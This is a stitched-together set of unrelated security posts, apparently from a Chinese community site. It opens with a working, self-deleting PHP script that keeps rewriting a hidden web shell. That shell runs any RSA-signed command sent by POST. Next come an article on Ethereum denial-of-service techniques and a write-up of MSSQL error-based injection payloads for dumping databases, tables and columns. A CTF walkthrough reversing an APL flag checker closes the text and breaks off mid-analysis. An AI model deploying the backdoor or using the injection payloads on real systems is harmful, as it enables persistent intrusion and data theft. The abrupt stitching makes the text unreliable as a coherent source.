no_die.php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
$shell='<?php
class Rsa {private static $PUBLIC_KEY= "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY----- ";
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = "")
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);'
;
while(1){
file_put_contents('.rsa_server.php',$shell);
system('chmod 777 .rsa_server.php');
}
?> | 社区文章 |
# 谈谈以太坊中的DOS攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近以太坊也算是问题不断，多个游戏都相继被爆出了黑客攻击，首当其冲的当然还是最近比较火爆的类Fomo3d的游戏，比如last
winner所遭遇的薅羊毛的攻击，虽然相关的攻击手法早在一个月前就已经有[相关的披露](https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide/)，但是last
winner并没有开源，似乎也没有采取什么安全措施，加上黑客的手法也进行了升级，导致了大量的eth被黑客通过空投的方式拿走，不过这并不是今天的重点，这部分可以看看相关的[解析](https://paper.seebug.org/672/)
另外一个比较劲爆的消息当然就是fomo3d首轮的结束，获胜者成功夺得了高达一万eth的奖金，而背后的黑客所使用的手法正是阻塞以太坊网络，不让fomo3d相关的交易能够被打包进区块，于是作为最后的购买人的他便成功将巨额的奖金收入囊中，可以说是利用对以太坊网络的DDOS完成了这次攻击，在这里我们就来简单谈谈以太坊中的DDOS
## 针对以太坊网络的DDOS
其实说来也有趣，本身以太坊设计的时候就想过要抗衡DDOS的，其中的gas机制有一部分作用也是为了防止DDOS，抬高DDOS所需的成本，不过随着以太坊的不断发展现在也暴露出越来越多的问题
### 垃圾交易导致的DDOS
这个问题差不多是两年前提出来的，主要存在的问题还是在EXTCODESIZE这个操作码上，熟悉智能合约的人应该也知道这是用来读取合约的code的大小的，所以其涉及到了相应的磁盘操作，但是它所需的gas又非常少，这就导致了恶意的攻击者可以在交易里实现调用很多次这个操作码，只要这些操作的gas加起来不超过区块的gas
limit即可，得益于此操作码的极少gas消耗，当时的攻击交易在每个区块调用了该操作码近50000次，因此这一个区块内的交易所占用的计算时间就被大大延长，从而导致了整个以太坊网络的瘫痪，在以太坊官方博客上也有对应的[说明](https://blog.ethereum.org/2016/09/22/ethereum-network-currently-undergoing-dos-attack/)和相应的[处理](https://blog.ethereum.org/2016/09/22/transaction-spam-attack-next-steps/)
说到这里我们还是不得不提一下以太坊特色的gas机制，对于它的存在目前确实也是褒贬不一，我也不作过多的评价，我们主要来关注一下要注意的问题
我们知道只要发送交易就必定会产生gas费用，而我们在发送一个交易时其实也有两个关于gas可选项，即gas Price和gas limit，gas
Price即我们愿意为每个gas所支付的单价，而gas
limit则为我们设定的gas的最多用量，也即我们直接发送过去的gas数量，然后在节点处打包后计算出了该交易中的操作所消耗的gas数，即gas
used，然后gas used*gas Price就是我们实际支付的tx fee的数目，剩余的gas则将返还给我们的账户，如果设定的gas
limit还不够操作所需gas的话该交易就失败了，对应的操作也将回滚，但是交易仍然会打包进区块，当然已经给了的那部分gas就别想了
所以有时候我们碰到发送的交易失败可能就是设定的gas limit少了点，你可能会觉得直接都把gas
limit设置的特别大不就什么事也没有了，但是这样的做法可能并不会得到矿工的好感，因为以太坊还有一个特点就是它的区块gas
limit，不同于比特币是直接限定区块的大小，以太坊是通过区块内交易所使用的gas来对区块进行限制，对应的限制值就是区块gas
limit，矿工在选择要打包进区块的交易时必须保证所有交易使用的gas值要小于区块的gas
limit，所以一个区块内所能容纳的交易数目还是比较有限的，同时一般的交易的gas limit在21000左右，因为这也是很多客户端默认的gas
limit，当出现一个gas
limit特别大的交易时矿工可能并不会给与其优先权，因为可能打包了这个交易后实际发现它实际所使用的gas也将那么点，大部分都返还回去了，这样它倒不如多打包几个gas
limit较小的交易，能赚取的gas可能更多，所以说较高的gas
limit反而可能导致你的交易的效率变低，如果真的希望交易能较快地打包进区块，应该提升的值还是gas price，这样最终矿工所得到的tx
fee才会变高，也就相应的能取得优先权
那么回到这个垃圾交易的DDOS攻击上来，官方的缓解方案其实也是跟区块的gas
limit有关，一方面是增加对应的操作码所需的gas，另一方面则是减小区块gas limit的大小
我们可以来看看当时区块gas limit的变化
本来区块的gas
limit是在470万左右，之后为了缓解攻击下调到了150万左右，然后又调整到200万，这其实也很好理解，目的就是为了减少每个区块内的交易数目，避免出现一个区块在计算交易的过程中出现阻塞几十秒的情况，虽然说这么做也还是治标不治本，不过也是为以太坊对该漏洞的修补争取缓冲时间，其实本身区块的gas
limit也是有动态的调节机制的，它也是在根据前面的区块的gas
used进行上下波动，不过在这种局面下它还是失去了调节的能力，之后随着以太坊又进行分叉来对漏洞进行了修补，区块的gas
limit又开始了不断的增长，一直到目前的800万，当然，太高的话也还是会影响性能，因为这样每个区块里的交易数就变多了，现在的800万的gas
limit也已经稳定了很久了
虽然现在这种DDOS方式已经被修复，不过还是值得拿出来说道说道
### 爆发性的交易导致的DDOS
其实严格说来这种可能也谈不上DDOS攻击，这就相当于双十一的时候淘宝也爆卡一个道理，不过它也确实造成了以太坊的堵塞，这种情况在最近一年来倒也变得愈发频繁
我们不妨先来看看近一年来gas Price的变动
其实平均设置的gas
Price就在一定程度上反应了以太坊的堵塞程度，因为当等待的交易过多时想让自己的交易被矿工优先选中就必须提高gas的价格，否则你的交易可能就一直在交易池里躺着了，这样就导致了以太坊堵塞时gas
Price的飙涨
从图中我们可以大致看出几个上涨点，首先就是17年末到18年初的阶段，有印象的话应该记得那时候正是以太猫流行的时候，当时它名气那么大也正是因为它的存在一度堵塞了整个以太坊网络，数不清的交易躺在交易池里打包不了，带来的也是gas
Price的飙涨，大家都在游戏里抢猫，在上线不到两周的时间里便交易了七万只，交易额达到了七千多万，让人不禁感叹资本的力量，那应该也是以太坊首次出现一个如此流行的游戏，当时也算是最接近于杀手级的应用了，意义也还是很重大的
之后有一个比较明显的涨幅就是来自于不久前也就是七月份爆火的FCoin交易所，因为其特殊的排名模式，也就是对对应的代币采用一账户一票的方式进行排名，导致了对应的项目方疯狂地开账户并进行投票，这就造成了大量的交易，直接堵塞了整个以太坊网络，这样的行为也受到了多方的谴责，毕竟这样的行为除了扩大了其影响力并没有任何意义，还造成了gas
Price的居高不下，偏偏对于这样的无赖方式还没有办法反抗，这次的事件也再次对以太坊的性能问题敲响了警钟，毕竟它确实是很容易引发大面积的堵塞，可以想象以太坊的网络带宽也就是每15秒800万gas左右，还有计算性能的限制，v神也在不断寻求解决方案，其设想的分片技术也是为了提升以太坊性能来减少拥堵情况的发生，不过却是会牺牲部分去中心化的特性，这倒是有点类似于EOS
最后，离我们最近的一个峰值表示的就是最近仍然火爆的类Fomo3d游戏了，影响到甚至阻塞网络的正是风头正劲的last
winner游戏，在开始时他们团队还准备了2大量eth进行刷单，强行抬高了交易量，吸引用户注资，当时其交易数据甚至夸张到3天吸金近1亿，这在当时的市场环境下确实是过于夸张，也一度造成了以太坊网络的拥堵，而且在这场游戏的背后也是疑云重重，从其营销策略来看应该还是针对国人的，只能说对待这样的游戏必须得多加小心
关于gas
Price的实时情况我们可以在[这里](https://ethgasstation.info)观察到，而其在最近一段时间的变动情况也可以在[此处](https://gitcoin.co/gas/history?breakdown=daily)得到很好的分析
### 高gas交易导致的DDOS
这种类型的DDOS涉及的就是前几天爆出的Fomo3d的获胜黑客所使用的攻击手法了，这名黑客使用这种手法阻断了以太坊网络近三分钟，使得与fomo3d相关的交易都无法打包进区块，于是作为最后一个购买者的他便成为了最终的获胜者，获取了巨额的奖金
这里涉及到的还是我们前面提到的区块的gas limit的限制，目前每个区块的gas
limit是800万左右，攻击者要做的就是想办法让自己的交易耗尽区块的gas limit，努力让区块内尽量只存在自己的交易，这部分的优先权可以通过提高gas
Price取得，而对于gas的消耗则涉及到另一个操作，也就是对assert的应用
熟悉智能合约相关操作的人应该也都知道assert与require类似，都可以用来进行错误的处理，不同之处在于require触发使用的是0xfd操作码，也就相当与调用了revert，它会回退合约状态并返还剩下的未消耗完的gas，而assert则霸道得多，触发过后并不会返还剩下的没消耗的gas，你只能当贡献给矿工了，你可能会奇怪既然如此为何还要使用assert，实际上主要还是在于使用的场景不同，对于require的应用场景来说，哪怕其触发了，表示的其实也是正常的合约状态，因为其一般是检查用户的输入抑或是执行的状态条件，而assert的触发场景则一般代表着代码可能存在某些问题，你可以把这理解为一个规范，遵循这样的规范的代码就可以毕竟容易的使用分析工具进行检查，关于二者更详细的分析比较可以参加此处的[资料](https://ethfans.org/posts/when-to-use-revert-assert-and-require-in-solidity)
对于这一特性，我们可以简单地来看看效果
部署一个简单的测试合约
contract C{
function requires(){
require(false);
}
function asserts(){
assert(false);
}
}
我们将其部署到ropsten测试链上，因为测试链的区块gas limit在470万左右，我们设置一下发送交易的gas
limit，对于调用asserts的交易，我们直接将其gas
limit设置为465万，至于调用requires的交易我们使用300万即可，然后我们来看看结果
对比很明显，调用asserts的交易直接耗光了我们设置的gas
limit，而requires仅使用了所需的gas，我们再看看asserts所在交易的区块情况
果然，这个区块仅有两个交易被打包，我们再看requires所在区块
可以看到该区块打包了一百多个交易，那么至少我们是阻塞了asserts所在的区块了，不过事实上这种单个巨额gas
limit的堵塞效果并不是很好，如果你也进行尝试的话应该能注意到这个交易也是等待了一段时间才被打包，比require那个交易要慢很多，要知道我设置的gas
Price已经很大了，其实原因前面也提到了，这种单个的超高gas
limit的交易矿工并不是很待见，所以比较好的办法其实是将其拆分为几份，攻击fomo3d的那位黑客也明白这一点，所以他的攻击的交易大都集中在两三百万gas
limit左右
这是当时黑客攻击时所产生的某个区块，可以看到该区块的交易数量仅为10个，而正常区块下一个区块的交易数目是有好几百的，其中显示失败的那三个交易其实就是黑客发出的交易，目标都是一致的，也就是黑客部署的攻击合约，其实这目的也就是利用assert消耗gas
我们来看看这几个交易分别消耗了多少gas
很有意思，分别是20万，330万和420万，加起来就是770万，顶去了整个区块gas使用量的绝大部分，在整个攻击过程中黑客其实也在不断调整，修改gas使用量，其实前面也经历了很多的失败，不过在最后这三分钟他还是取得了成功，可能还是有一点运气的成分吧，这整个调整的过程也挺值得深入研究的，至于这次攻击手法的详细解读可以参见此处的[分析](https://mp.weixin.qq.com/s/MCuGJepXr_f18xrXZsImBQ)
随着这种攻击方式的成功应用，很多黑客团体也着手展开了对类fomo3d游戏的攻击，目前也已经有了不少成功的例子，不久前last winner
第二轮也宣告结束，这是否又意味着这类游戏的新的篇章，在这种形势下确实是很难说清了
## 针对智能合约的DOS
这里要说的就不是ddos攻击了，关于这部分内容我感觉真正谈得上可攻击可利用的还是对于区块gas
limit的限制利用，因为区块得gas的800万限制，如果想办法让合约的部分操作的调用所需的gas超出了800万的限制，那么这个合约自然就废了
比如下面这个合约的主体部分
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5);
}
function distribute() public {
require(msg.sender == owner);
for(uint i = 0; i < investors.length; i++) {
transferToken(investors[i],investorTokens[i]);
}
}
}
攻击者就可以通过创建大量的investor来使得最终调用distribute函数时所需的gas超过了区块的gas
limit，从而使得这个合约作废，当然这也只算是使智能合约无法提供服务的方法中的一种，其他的利用可见此处的[资料](https://ethfans.org/posts/comprehensive-list-of-common-attacks-and-defense-part-6)
## 写在最后
最近以太坊所出现的一系列问题还是让人非常担忧，所涉及的金额也越来越大，这样其实是侵犯了很多普通用户的权益的，希望在后面以太坊团队能解决以太坊目前存在的性能问题，避免拥堵的再次发生 | 社区文章 |
# 0x00 前言
> 一次自己引导自己走进误区的经历，有所收获，所以分享出来。
# 0x01 有问题吧?
> * 抓包看到输入一个号码后，会有两个请求查询判断：
>
>
>
>
>> 1. 卡号是否存在；
>> 2. 卡号对应的个人信息；
>> 3. 初步判断： ** _此处进行了数据库查询_**
>>
# 0x02 进一步测试
## Part Ⅰ 自动化工具
> * 直接使用了sqlmap，同时首次实用工具时参数上添加了几个条件：
>
>> 1. “-- delay 10”；
>>
>>>
为什么使用delay，因为考虑到测试对象的敏感程度，有waf等防护是必然的，请求的延时可以避免大量测试请求直接造成IP被封禁等一系列的影响，造成之后测试的硬性阻隔，当然，之后的测试发现，短时间内的频繁请求会被禁IP。
>>
>> 1. “--time-sec 15” ; // 考虑到时间盲注的延时
>>
>> 2. “--timeout 20” ; // 考虑到超时
>>
>> 3. “tamper”; // 混淆&绕过
>>
>>> 此处的正常思路应是先尝试确认过滤了哪些字符，哪些没有被过滤，然后逐步构造payload，针对性的写tamper进行测试。
>
> * **自己使用自动化工具不能发现问题，判断此处不存在注入，可能是因为自带的tamper混淆没有能够成功构造出合适的payload.**
>
>
## Part Ⅱ 手工注入
### 信息确认
> * 回到手工注入，首先需要判断什么数据库类型等数据库信息，之后可以针对性的进行构造；
>
>
>> 1. 构造常规的payload “ 'and @@version”，或是“ ' and @@version -- ”提示语法错误；
>>
>> >> payload1: /' select @@version
>>
>>
>> **Tips：**
>>
>>
>>> * **这里使用数据库“内置函数“进行测试，因为数据库查询的优先级原因，正常情况下会优先执行内置函数查询**
>>> * **通过报错可以看到语法错误，以及通过报错信息搜集数据库信息，辅助确定数据库类型**
>>> * **如果执行了构造的payload，那么页面返回信息会显示相关的信息**
>>>
>>
>>
>>
>>
>> **上一次尝试select 语句有错误，换用另一payload进行测试，如下**
>> payload2: /' and @@version
>>
>
>
>
>
>> **注：这个报错信息不是构造的payload参数中的，是其他代码的错误，并且注释符都无用，最后想到的可能性为，此处的“or a.xxxcode=
”语句是前面用户输入ID值得一部分，需要作为整体去数据库查询，只能闭合当前的payload，所以用下面的方法，再添加and语句，完成闭合**
>
>
> payload4: ' and @@version>0 and '1'='1
>
>
>
>
>
>> **注：**
>>
>> * **这里的思路是结合数据库查询的优先级，使用数据库的内置函数，它的查询顺序优先于一般查询，因此此处使用数据库内置函数进行尝试；**
>>
### mssql注入
> * 数据库类型确定：MSSQL
> * 爆破其他参数：
>
>
>>
>> payload5: and db_name()>0 and '1'='1 // 当前数据库
>> payload6: and user_name()>0 and '1'='1 // 当前用户
>> payload7: and @@servername>0 and '1'='1 // 主机名
>>
>
> **注：爆破进行到下一步，爆破表的时候发现无论怎么构造，都是没有回显的，查找了一些文章，有人提到了Mssql 2008
> 出库不出表([你们有遇到过mssql2008出裤不出表的情况吗?](https://xz.aliyun.com/t/2270))的情况，这么尴尬，这么唬人的么？**
## Part Ⅲ 出库不出表？
>
> 和小伙伴讨论讨论分析了一下，这里为什么会没有任何回显，其实构造的payload是正常执行的，但是返回和正常返回一致，再回想一遍整个过程，发现了关键点的所在，也就清晰了整个流程；
> **Bingo！！！！ ！！**
>
> **重点在用户输入的ID和你使用or还是and连接语句**
>
> * or :
> 使用or连接，那么无论ID处的查询结果是0还是1，均会触发到下一步，比较payload查询到的参数与0进行大小比较报错进而达到”爆表“等效果；
> * and : 使用and连接，那么执行结果分为两种显示情况
> * ID查询返回结果为0，无论后半部分查询结果如何返回，最终结果均为0；
> * ID查询返回结果为1，结合后半部分查询结果为1，最终查询结果为1，触发比较，”爆表“、”爆字段“ and etc.
>
### 完成一次手注
> * 社会工程学
>
>
>> 通过搜索引擎，社一个存在的用户ID号，用来进行查询，可以在这一步的两个请求，分别判断为存在以及返回用户信息：
>
>
>
>
> * 出库不出表？
>
>
>
> payload: and (SELECT top 1 Name FROM Master..SysDatabases)>0 // 爆其他数据库
> payload: and (select top 1 name from [数据库名字].sys.all_objects where
> type='U' AND is_ms_shipped=0)>0 // 爆表
> payload: and (select top 1 COLUMN_NAME
> from[数据库名字].information_schema.columns where TABLE_NAME='表名')>0 // 爆字段
>
>
> * 下图已到字段为止，ok，收工.
>
>
>
>
### 思路反思（当时自己的错误思路）
> 这是一个用户输入ID的位置，输入ID之后进行了两个操作：
>
>> * 查询ID是否已存在，无论如何构造，该返回结果只是0或1；
>> * 查询ID对应的信息，如果已存在，返回对应用户信息，不存在，则返回“[]”，数据为空；
>>
>>
>> 注意：
>>
>> * **这两个过程不存在逻辑关系，相互独立，不管是否已存在，都会请求查询ID对应的用户数据；**
>> *
**此处注入如果用一个不存在的用户ID，当查询结果显示用户ID并不不存在的时，停止进一步查询其他数据，所以返回结果均为空，在进行爆表爆字段等尝试的时候，也不会有任何的回显**
>>
>
> 当时自己没有理清晰整个查询的流程以及使用什么方式连接，所以误导自己进入了误区，希望和我一样没有”精通“数据库的人阔以引以为戒。em……
# 0x03 参考资源
> 难得这次帮自己丰富了一下经验，同时收获也很大，个中滋味就是很满足，小小满足感~~~
> 而且这次在搜索解决问题的过程中，发现了很不错的网站，可以学习参考。
>
> * <http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-> cheat-sheet>
> | 社区文章 |
## 描述信息
> What's apl?
>
> flag格式：flag{xxxx}
>
> [Download](https://share.weiyun.com/5815I0m)
简单google可以知道文件内容为APL程序，我们要读懂然后逆向得到flag
{⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag')}(∊(41(41)0+140)(⎕UCS('µě»ÕĀ$#Ğ$èáËĞĞĝ`âÞĠ#"!Ġ"KE(©$#Ğ$Q<k'))146){+/⍺≠33+2⊥(1(5)×8)⍴∊{a≠8↑(1,a←(8⍴2)⊤⍵)}¨2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)}'YourFlagIsWhat?'
## APL
我不会APL，以下内容是从题目中推理的，不保证完全正确，如果有错误，请指正。
这里有个[在线apl编程](https://tryapl.org)和[apl文档](http://www.jsoftware.com/papers/APLDictionary.htm)
,文档有点难懂，可以一遍实验一遍推理出每个符号的意义。
apl是一个从右向左执行的语言。
APL的函数使用{}包裹，函数可以有一或两个参数，右边的参数用变量`⍵`表示，左边用变量`⍺`表示。
> Most verbs have two definitions, one for the monadic case (one argument),
> and one for the dyadic case (two arguments).
## 代码阅读
### 1\. 代码结构分析
首先我们通过括号将代码分行，增加可读性
{
⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag')
}
(∊(41(41)0+140)
(⎕UCS('µě»ÕĀ$#Ğ$èáËĞĞĝ`âÞĠ#"!Ġ"KE(©$#Ğ$Q<k'))146)
{
+/⍺≠33+2⊥(1(5)×8)⍴∊
{
a≠8↑(1,a←(8⍴2)⊤⍵)
}
¨
2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')
⍴
10⊖⊖⌽
(∊4(⍴⍴88888)+16)
⍴
(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
"格式化"后好看多了，我们可以猜测，这段程序是让我们输入flag，返回是否正确。
google一下或自己试一下可以知道⎕UCS是将字符转成ascii码
⎕UCS('µě»ÕĀ$#Ğ$èáËĞĞĝ`âÞĠ#"!Ġ"KE(©$#Ğ$Q<k')
181 283 187 213 256 36 35 286 36 232 225 203 286 286 285 96 226 222 288 157 35 34 33 288 34 75 69 40 169 36 35 286 36 81 60 107
因此可以推测以上就是密文，我们需要逆向加密过程，还原明文。
根据函数中使用的变量，可以判断这段代码有两个函数。下面的函数有两个参数，计算结果作为上面函数的参数。
{
⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag')
}
...
{
+/⍺≠33+2⊥(1(5)×8)⍴∊
...
(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
### 2\. 函数一
先看上面的函数
{
⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag')
}
我们查阅文档知道，～表示对bool变量做非运算。
> Monad. ~ applies only to boolean arguments, and negates them: ~0 1 ←→ 1 0 .
我们分别给参数0和1，发现第一个函数需要参数0，即第二个函数计算结果应为0
{ ⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag') }1
┌──────────────────┐
│No_Please_continue│
└──────────────────┘
{ ⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag') }0
┌────────────────┐
│Yes,This_is_flag│
### 3\. 函数二
#### 3.1 `(1+(|¯8)⍴1)⊤⎕UCS(⍵)`
我们接着看第二个函数，先看加密过程，一行一行往上看
...
{
...
// 结果固定，为（2 2 2 2 2 2 2 2）
(1+(|¯8)⍴1)
⊤
//首先将字符转成ascii
⎕UCS(⍵)
}
'YourFlagIsWhat?'
`a ⍴ b`表示将b填充至长度a。`8 ⍴ 'abcd'`即为`abcdabcd`
`⊤`和`⊥`互为逆运算
> For simple cases, ⊤ is inverse to the base ⊥ .
这里我们不用详细看文档，实验可以知道这里是将ascii转成二进制
{⎕UCS(⍵)}'YourFlagIsWhat?'
89 111 117 114 70 108 97 103 73 115 87 104 97 116 63
(1+(|¯8)⍴1)
2 2 2 2 2 2 2 2
{(1+(|¯8)⍴1)⊤⎕UCS(⍵)}'YourFlagIsWhat?'
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 1 1 1 0 1 1 1 0 1 0 1 1 1 1
1 0 1 1 0 0 0 0 0 1 1 0 0 1 1
1 1 0 0 0 1 0 0 1 0 0 1 0 0 1
0 1 1 0 1 1 0 1 0 0 1 0 0 1 1
0 1 0 1 1 0 0 1 0 1 1 0 0 0 1
1 1 1 0 0 0 1 1 1 1 1 0 1 0 1
#### 3.2 `(∊4(⍴⍴88888)+16)`
...
{
...
(∊4(⍴⍴88888)+16)
⍴
# 字符转二进制
(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
这是一个独立的表达式，其值是固定的。
(∊4(⍴⍴88888)+16)
20 16
`(20 16) ⍴ a`表示将a填充为20*16的矩阵
{(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)}'YourFlagIsWhat?'
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 1 0 1 1 1 0 1 0 1 1 1 1 1 0 1
1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 0
0 1 0 0 1 0 0 1 0 0 1 0 1 1 0 1
1 0 1 0 0 1 0 0 1 1 0 1 0 1 1 0
0 1 0 1 1 0 0 0 1 1 1 1 0 0 0 1
1 1 1 1 0 1 0 1 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1
1 1 1 1 1 0 0 1 1 1 0 1 1 1 0 1
0 1 1 1 1 1 0 1 1 0 0 0 0 0 1 1
0 0 1 1 1 1 0 0 0 1 0 0 1 0 0 1
0 0 1 0 1 1 0 1 1 0 1 0 0 1 0 0
1 1 0 1 0 1 1 0 0 1 0 1 1 0 0 0
1 1 1 1 0 0 0 1 1 1 1 1 0 1 0 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
1 1 0 1 1 1 0 1 0 1 1 1 1 1 0 1
1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 0
0 1 0 0 1 0 0 1 0 0 1 0 1 1 0 1
#### 3.3 `10⊖⊖⌽`
...
{
...
10⊖⊖⌽
# 将二进制矩阵(8*40)转成(20*16)矩阵
(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
`⌽` `⊖`分别表示将矩阵的行、列倒序。
`10⊖`将矩阵的列向上位移10
#### 3.4 `2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')`
我们看一个稍微复杂点的
2
⊥
8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')
⍴
# 一些矩阵变换
10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
`8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')`是一个独立的表达式，我们分别运行以下子表达式
9.1⌊2
2
9.1⌊10.3
9.1
⍳10
1 2 3 4 5 6 7 8 9 10
⌊9.1⌊⍴'FlagIsWhat'
9
8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')
8 40
可以推断
* `7*2`表示7的2次方，
* `⍴'FlsWhat'`计算字符的长度
* `a⌊b`计算a,b最小值，`⌊a`对a取整
* `⍳a`返回一个1-a的数组
* `+/a`表示对a求和
所以`8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)`就是将矩阵转回8*40
下面就是再转回ascii
{2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)}'YourFlagIsWhat?'
255 0 255 189 214 107 214 214 255 0 0 189 214 214 255 214 148 148 189 255 255 189 214 148 189 107 66 0 66 0 66 107 41 0 107 41 41 107 41 66
#### 3.5 移位异或`a≠8↑(1,a←(8⍴2)⊤⍵)`
...
{
...
{
a≠8↑(1,a←(8⍴2)⊤⍵)
}
¨
2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
这里我们遇到一个子函数，通过以上的分析，我们已经能阅读一些代码。
`(8⍴2)`就是`(2 2 2 2 2 2 2 2)`，`(8⍴2)⊤⍵`表示转换成二进制。
结合实验和文档：
* `a←(8⍴2)⊤⍵`表示赋值给`a`
* `≠`指异或
* `8↑a`是保留前8位
因此，这个子函数就是f(x)=x^shift(x), shift函数为x右移一位，在前面补1。
#### 3.6 最后一段
(∊(41(41)0+140)(⎕UCS('µě»ÕĀ$#Ğ$èáËĞĞĝ`âÞĠ#"!Ġ"KE(©$#Ğ$Q<k'))146)
{
+/
⍺
≠
33+
2⊥(1(5)×8)
⍴
∊
{
a≠8↑(1,a←(8⍴2)⊤⍵)
}
¨
2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵)
}
'YourFlagIsWhat?'
`¨`按列读取矩阵，将矩阵转换成一个一维矩阵。我们省略一些前面已经分析过的语法，直接得到以下结果
{33+ 2⊥(1(5)×8) ⍴ ∊ { a≠8↑(1,a←(8⍴2)⊤⍵) } ¨ 2⊥8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴10⊖⊖⌽(∊4(⍴⍴88888)+16)⍴(1+(|¯8)⍴1)⊤⎕UCS(⍵) } 'YourFlagIsWhat?'
136 103 52 118 118 118 103 52 168 95 142 116 116 116 95 142 40 50 139 156 156 156 50 139 40 189 214 74 74 74 189 214 104 44 170 163 163 163 44 170
`⍺`就是函数左边的参数，即密文。与我们加密的结果异或并求和后，如果结果是0，则答案正确。
### 4\. 逆向
整个加密函数其实不难，主要过程有
1. 将明文转码为二进制码，并填充至16*20，得到一个矩阵
2. 做三次矩阵变换， `10⊖⊖⌽`
3. 将矩阵转换为8*40矩阵
4. 按列将矩阵转换为一维矩阵，并做一个移位异或计算，得到一个一维矩阵。
5. 将矩阵恢转成8*40，转为ascii码, 并+33
因此我们逆向过程也很简单
#### 4.1 将密文-33, 转成二进制的8*40矩阵
(8⍴2)⊤(∊(41(41)0+140)(⎕UCS('µě»ÕĀ$#Ğ$èáËĞĞĝ`âÞĠ#"!Ġ"KE(©$#Ğ$Q<k'))146-33)
1 1 0 1 1 1 1 1 0 0 1 0 1 1 1 1 1 1 0 1 1 1 0 0 0 0 1 0 0 0 0 1 0 0 1 0 0 0 0 0
0 0 1 0 1 0 0 1 0 0 1 0 1 1 0 1 1 1 0 1 0 1 1 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 1 1
0 0 1 0 1 0 1 0 0 0 1 0 0 0 1 1 1 1 1 0 1 1 1 0 0 0 1 0 1 1 0 0 0 0 1 0 1 0 0 1
1 1 0 1 1 1 1 1 0 0 1 0 0 0 0 1 1 1 1 0 1 1 1 0 0 0 1 0 0 0 0 0 0 0 1 0 1 1 0 1
0 0 1 0 1 1 0 1 0 0 1 0 0 0 1 1 1 1 1 0 1 1 1 0 0 0 1 0 1 0 0 1 0 0 1 0 0 1 1 0
1 1 0 1 0 0 1 1 0 0 1 0 1 0 0 1 1 1 1 0 1 1 1 0 0 0 1 0 0 1 1 0 0 0 1 0 0 0 0 0
0 0 1 0 1 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 0 1 0 1 0 0 1 0 1 0 1 0 1 1 0 1 0 1 1 0
0 0 1 0 0 0 0 1 1 0 1 1 1 0 0 1 1 0 1 1 1 1 0 0 1 0 1 1 0 0 1 0 1 0 1 1 0 1 0 1
